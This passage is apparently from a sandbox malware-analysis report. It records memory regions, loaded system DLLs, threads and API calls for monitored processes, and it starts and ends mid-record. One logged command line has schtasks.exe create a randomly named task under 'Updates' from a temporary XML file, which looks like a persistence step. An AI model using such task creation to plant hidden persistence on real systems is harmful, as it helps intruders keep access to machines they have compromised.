0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 608 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 609 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 610 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 611 start_va = 0x7ff637930000 end_va = 0x7ff637940fff monitored = 0 entry_point = 0x7ff6379316b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 612 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 613 start_va = 0x90000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 614 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 615 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 616 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 617 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 618 start_va = 0x600000 end_va = 0x6bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 619 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 620 start_va = 0x1b0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 621 start_va = 0x90000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 622 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 623 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 624 start_va = 0x7ffa0a3e0000 end_va = 0x7ffa0a438fff monitored = 0 entry_point = 0x7ffa0a3efbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 625 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 626 start_va = 0xa0000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 627 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 628 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 629 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 630 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 631 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 632 start_va = 0x1f0000 end_va = 0x1f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 633 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 634 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 635 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 636 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 637 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 645 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 646 start_va = 0x850000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 647 start_va = 0x9e0000 end_va = 0x1ddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 648 start_va = 0x1de0000 end_va = 0x1de0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 649 start_va = 0x1df0000 end_va = 0x1df0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 650 start_va = 0x1e00000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 655 start_va = 0x1e00000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 656 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 657 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 679 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 680 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 694 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 695 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 703 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 713 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 714 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 715 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 716 start_va = 0x7ffa11710000 end_va = 0x7ffa117a5fff monitored = 0 entry_point = 0x7ffa11735570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 721 start_va = 0x1e40000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 728 start_va = 0x1fe0000 end_va = 0x2316fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 729 start_va = 0x1ed0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 730 start_va = 0x2320000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 738 start_va = 0x1e40000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 739 start_va = 0x1ec0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 740 start_va = 0x7ffa14a40000 end_va = 0x7ffa14b99fff monitored = 0 entry_point = 0x7ffa14a838e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 741 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 742 start_va = 0x2520000 end_va = 0x25dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002520000" filename = "" Region: id = 743 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 744 start_va = 0x7ffa10610000 end_va = 0x7ffa10631fff monitored = 0 entry_point = 0x7ffa10611a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 745 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 748 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 749 start_va = 0x60000 end_va = 0x66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 750 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 751 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 752 start_va = 0x1e80000 end_va = 0x1e84fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 753 start_va = 0x1e90000 end_va = 0x1e90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 761 start_va = 0x1ea0000 end_va = 0x1ea1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 762 start_va = 0x7ffa080f0000 end_va = 0x7ffa08363fff monitored = 0 entry_point = 0x7ffa08160400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 763 start_va = 0x1eb0000 end_va = 0x1eb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 764 start_va = 0x25e0000 end_va = 0x25e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Thread: id = 16 os_tid = 0x1188 Thread: id = 18 os_tid = 0x1174 Thread: id = 19 os_tid = 0x1170 Thread: id = 24 os_tid = 0x119c Process: id = "4" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x11721000" os_pid = "0x1180" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Windows\\System32\\schtasks.exe\" /Create /TN \"Updates\\rWWREmAZOgElhb\" /XML \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp\"" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 585 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 586 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 587 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 588 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 589 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 590 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 591 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 592 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 593 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 594 start_va = 0xd00000 end_va = 0xd31fff monitored = 1 entry_point = 0xd205b0 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 595 start_va = 0xd40000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 596 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 597 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 598 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 599 start_va = 0x7fff0000 end_va = 0x7dfa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 600 start_va = 0x7dfa16770000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfa16770000" filename = "" Region: id = 601 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 602 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 638 start_va = 0x400000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 639 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 640 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 641 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 642 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 643 start_va = 0x400000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 644 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 651 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 652 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 653 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 654 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 767 start_va = 0x110000 end_va = 0x1cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 768 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 769 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 770 start_va = 0x510000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 771 start_va = 0x550000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 772 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 773 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 774 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 775 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 776 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 777 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 778 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 779 start_va = 0x5c0000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 797 start_va = 0x5c0000 end_va = 0x6a9fff monitored = 0 entry_point = 0x5fd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 798 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 808 start_va = 0x1d0000 end_va = 0x1e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 809 start_va = 0x780000 end_va = 0xab6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 813 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 814 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 815 start_va = 0x74340000 end_va = 0x743c3fff monitored = 0 entry_point = 0x74366220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 816 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 818 start_va = 0x6c7b0000 end_va = 0x6c83bfff monitored = 0 entry_point = 0x6c7ea6c0 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Thread: id = 17 os_tid = 0x1178 [0206.380] GetModuleHandleA (lpModuleName=0x0) returned 0xd00000 [0206.380] __set_app_type (_Type=0x1) [0206.380] __p__fmode () returned 0x76b44d6c [0206.380] __p__commode () returned 0x76b45b1c [0206.380] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd20840) returned 0x0 [0206.381] __wgetmainargs (in: _Argc=0xd2ade0, _Argv=0xd2ade4, _Env=0xd2ade8, _DoWildCard=0, _StartInfo=0xd2adf4 | out: _Argc=0xd2ade0, _Argv=0xd2ade4, _Env=0xd2ade8) returned 0 [0206.381] _onexit (_Func=0xd22bc0) returned 0xd22bc0 [0206.381] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0206.381] WinSqmIsOptedIn () returned 0x0 [0206.381] GetProcessHeap () returned 0x410000 [0206.381] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417410 [0206.382] RtlRestoreLastWin32Error () returned 0x0 [0206.382] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0206.382] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0206.382] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0206.382] RtlVerifyVersionInfo (VersionInfo=0xdf9f8, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0206.382] GetProcessHeap () returned 0x410000 [0206.382] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x417368 [0206.382] lstrlenW (lpString="") returned 0 [0206.382] GetProcessHeap () returned 0x410000 [0206.382] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x2) returned 0x410598 [0206.382] GetProcessHeap () returned 0x410000 [0206.382] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416e50 [0206.382] GetProcessHeap () returned 0x410000 [0206.382] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x4174a0 [0206.382] GetProcessHeap () returned 0x410000 [0206.382] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x418640 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x418660 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416c18 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416c38 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x10) returned 0x4174b8 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416c58 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] RtlAllocateHeap (HeapHandle=0x410000, Flags=0xc, Size=0x14) returned 0x416848 [0206.383] GetProcessHeap () returned 0x410000 [0206.383] 